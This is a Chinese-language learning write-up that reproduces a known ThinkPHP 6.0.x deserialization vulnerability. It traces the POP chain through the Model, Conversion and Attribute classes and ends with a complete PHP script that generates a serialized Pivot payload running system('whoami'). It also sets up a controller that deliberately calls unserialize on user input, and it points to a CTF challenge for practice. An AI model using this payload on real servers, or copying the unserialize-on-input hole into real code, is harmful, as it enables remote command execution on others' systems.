跟着大佬一步一步复现的:ThinkPHP V6.0.x反序列化漏洞(自己的话emm(没事看看链子真的能让浮躁的心静下来…))
安装好composer
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run
手动设置好利用点
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['CyanMoun']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}
/vendor/topthink/think-orm/src/Model.php
中 Model
类的 __destruct
方法
$this->lazySave==true
时,可进入到save()方法,转到save方法的定义:
需要$this->isEmpty()
为false,$this->trigger('BeforeWrite')
为true
$this->isEmpty()
方法:
$this->data
不为空
$this->trigger()
方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):
$this->withEvent
为false即可
将$this->exists
为true即可进入 $this->updateData()
,转到定义:
$this->getChangedData()
方法:
设置 $this-data
为非空,$this->force == true
即可,返回到刚才分析点,转到$this->checkAllowFields()
:
默认就可进入,然后来看$this->db()
方法:
总结下设置点:
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
注意:
Model
类是抽象类,不能实例化。所以要想利用,得找出 Model
类的一个子类进行实例化,这里可以用 Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用
利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion
的trait(什么是trait)中:
跟进到$this->toArray()
定义处:
对 $data
进行遍历,其中 $key
为 $data
的键。默认情况下,会进入第二个 elseif
语句,从而将 $key
作为参数调用 getAttr()
方法。
我们接着跟进 getAttr()
方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中):
转到$this->getData()
看看$value
:
$name
值不为空,则将 $name
值传入到getRealFieldName()
方法,即toArray()
传进来的 $key
。
继续跟进 getRealFieldName()
方法:(这里代码版本过高,懒了就做了点修改):
$this->strict == true
时(默认为true),直接返回$name
,也就是最开始从 toArray()
方法中传进来的 $key
值。所以getData()
返回的就是$this->data[$key]
,再来看getAttr()
,最后的返回语句 getValue()
方法:($value
的值就是 $this->data[$key]
)
$closure
为 “system”,$this->data
为要执行的命令即可。
令 withAttr[$fieldName]="system"
、$this->data="whoami"
,即执行 system('whoami');
。
注意 $this->withAttr[$key]
存在且不为数组即可。
最后将table
声明为Pivot类的对象,从而将两个POP链串联起来。
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
(有些地方还有些疑问,估计得多了解下tp的使用和命名空间吧,希望借此以后能多学习学习)
[安洵杯 2019]iamthinking考的就是这个点,感兴趣可以拿来练练手